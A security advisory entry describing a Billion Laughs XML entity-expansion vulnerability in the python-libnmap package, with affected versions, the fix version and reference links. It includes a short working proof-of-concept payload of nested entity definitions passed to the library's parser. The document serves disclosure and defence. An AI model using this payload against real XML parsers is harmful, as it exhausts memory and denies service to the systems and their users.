GHSA-9ccv-p7fg-m73x

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    GHSA-9ccv-p7fg-m73x

    Published: 18 Jul 2019Last Modified: 15 Oct 2024

    Summary: XML Injection in python-libnmap

    Details: ### Description python-libnmap is affected by a Billion-Laughs -style XML injection vulnerability. ### PoC ```python ty = NmapParser() payload = """ <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> ]> <lolz><hello>&lol3;</hello></lolz> """ ty.parse(payload) ```

    References: https://nvd.nist.gov/vuln/detail/CVE-2019-1010017, https://github.com/savon-noir/python-libnmap/issues/87, https://github.com/savon-noir/python-libnmap/commit/71b707758851e4b622f87d9a73266e06f60aeab4, https://github.com/pypa/advisory-database/tree/main/vulns/python-libnmap/PYSEC-2019-218.yaml, https://github.com/savon-noir/python-libnmap

    Affected packages

    Package

    Name: python-libnmap

    Purl: pkg:pypi/python-libnmap

    Affected ranges

    Type: ECOSYSTEM

    Events:

    Introduced- 0
    Fixed -0.7.2

    Affected versions

    0.2.3
    0.2.4
    0.2.7
    0.2.8

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High